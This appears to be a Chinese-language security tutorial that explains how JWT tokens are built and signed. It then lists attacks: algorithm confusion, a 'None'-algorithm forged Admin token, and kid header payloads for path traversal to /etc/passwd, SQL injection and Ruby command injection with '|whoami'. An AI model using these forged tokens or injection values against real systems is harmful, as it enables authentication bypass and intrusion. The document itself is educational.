前言
JWT（Json Web Token）是一种用于在网络应用之间安全地传输信息的开放标准。它通过将用户信息以JSON格式加密并封装在一个token中，然后将该token发送给服务端进行验证，从而实现身份验证和授权。
流程
JWT的加密和解密过程如下：
1、 生成JWT Token：
客户端登录成功后，服务器使用用户的信息（如用户ID、用户名等）以及服务器端的密钥，通过特定的加密算法（如HMACSHA256、RSA等）生成JWT Token。
2、发送JWT Token：
客户端将生成的JWT Token发送给服务器，通常是通过HTTP请求的头部Authorization字段或者其他方式发送。
3、服务器验证JWT Token：
服务器收到JWT Token后，首先会对Token进行解析，检查Token的格式是否正确，并获取到头部和载荷部分的内容。
然后，服务器使用存储在服务器端的密钥和相同的加密算法，对头部和载荷进行签名验证，以确认Token的真实性和完整性。
4、响应处理：
如果JWT Token验证成功，服务器可以根据用户的请求执行相应的操作，并向客户端返回相应的响应。
如果JWT Token验证失败，则服务器通常会返回相应的错误信息或拒绝服务。
认证区别
这里以传统Token验证方式与JWT验证方式做区分。
在传统Token方式中，用户登录成功后，服务端生成一个随机Token并分配给用户，同时在服务端（如数据库或缓存）保存一份Token记录。随后，用户在后续的请求中需携带该Token。服务端在接收到Token后，会进行数据库或缓存的查询，以验证Token的有效性和合法性，包括检查Token是否超时或被篡改。
在JWT方式中，用户登录成功后，服务端使用JWT生成一个随机Token，并将其发送给用户，服务端无需在数据库或缓存中保存Token记录。用户在后续的请求中需要携带该Token。服务端在接收到Token后，通过JWT对Token进行验证。
这两种方式的本质区别在于Token的验证和存储方式。
JWT组成
JWT包含三个部分：头部（Header）、载荷（Payload）和签名（Signature）。
1、头部（Header）：头部包含了两部分信息，分别是令牌的类型（typ）和所使用的加密算法（alg），它们由json格式经base64url编码得到。（base64url编码：base64编码后，用 - 替代 +，用 _ 替代/）
例如：
{
"alg": "HS256",
"typ": "JWT"
}
加密得到：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
该字符串成为了Header部分
2、载荷（Payload）：载荷包含了要传输的用户信息，如用户ID、用户名等。此外，也可以包含其他自定义的信息。载荷的内容是经过base64url编码的，能够被解码。
例如：
{
"name": "ice",
"phone": 123456789,
"address": "ice.home"
}
编码得到：
eyJuYW1lIjoiaWNlIiwicGhvbmUiOjEyMzQ1Njc4OSwiYWRkcmVzcyI6ImljZS5ob21lIn0
该字符串成为了Payload部分
3、签名（Signature）：签名用于验证token的真实性和完整性。签名是由头部、载荷以及密钥结合特定的加密算法生成的。
加密算法例如：
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
ice
)
本例中，对Header.Payload进行HS256加密（密钥为ice）后，再进行base64url加密，从而得到签名。
GJd4DLWt-IWWhE4ELHUXiLJjJG5C_HcvTY87c2s74Z0
最后将三段字符串通过.拼接起来就生成了JWT的token：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaWNlIiwicGhvbmUiOjEyMzQ1Njc4OSwiYWRkcmVzcyI6ImljZS5ob21lIn0.GJd4DLWt-IWWhE4ELHUXiLJjJG5C_HcvTY87c2s74Z0
https://jwt.io/可用于编码、解码和验证JSON Web Tokens（JWT）：
JWT攻击方式
1、修改加密算法伪造token
JWT中最常用的两种算法为HMAC和RSA。
HMAC是一种对称加密算法，使用相同的密钥对传输信息进行加解密。
RSA是一种非对称加密算法，使用私钥加密明文，公钥解密密文。
若存在一场景：某应用程序在JWT传输过程中使用RSA算法，同时使用密钥ice对JWT token进行签名，公钥abc对签名进行验证。
{
"alg" : "RS256",
"typ" : "jwt"
}
通常情况下密钥ice是无法获取到的，但是公钥abc却可以通过某些途径得到，此时将JWT的加密算法修改为HMAC，同时使用获取到的公钥abc作为算法的密钥，对token进行签名，发送到服务器端：
{
"alg" : "HS256",
"typ" : "jwt"
}
服务器端会将RSA的公钥（abc）视为当前算法（HMAC）的密钥，而HMAC是对称加密算法，故服务器使用密钥abc对接收到的签名进行验证，从而造成token伪造问题。
2、None算法攻击绕过验证
在Header中指定alg为None，同时不添加signature，服务器在验证JWT时会认为这个JWT是不需要签名的，从而跳过了对签名的验证，直接信任JWT中的信息，实现伪造身份绕过服务器验证。
HEADER：
{
"alg" : "None",
"typ" : "jwt"
}
Payload：
{
"username" : "Admin"
}
生成的完整token为
ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0
3、KID参数
“kid” 是 JWT 头部中的一个可选参数，全称为 “Key ID”，它用于指定加密算法所使用的密钥。
例如：
{
"alg": "HS256",
"typ": "JWT",
"kid": "signing_key"
}
或
{
"alg": "HS256",
"typ": "JWT",
"kid": "/home/jwt/.ssh/pem"
}
由于该参数可控，将导致以下漏洞。
3.1任意文件读取
系统并不会验证kid参数路径指向的文件是否是有效的密钥文件。因此，在没有对参数进行过滤或验证的情况下，可造成任意文件读取。
例如：
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "../../etc/passwd"
}
3.2SQL注入
"kid"参数也可能从数据库中提取数据，故存在SQL注入攻击的风险。
例如：
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "ice' || union select 'users' -- "
}
3.3命令注入
若服务器后端使用的是Ruby，在读取密钥文件时使用了open函数，通过构造参数可能实现命令注入。
例如：
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/path/to/key_file|whoami"
}
其它语言可进行思路延申。
4、信息泄露
JWT确保的是数据传输过程中的完整性和真实性，而不是机密性。由于payload是使用Base64url编码的，相当于明文传输。因此，如果在payload中携带了敏感信息（例如存放密钥对的文件路径），那么仅对payload部分进行Base64url解码就可以读取其中携带的信息。
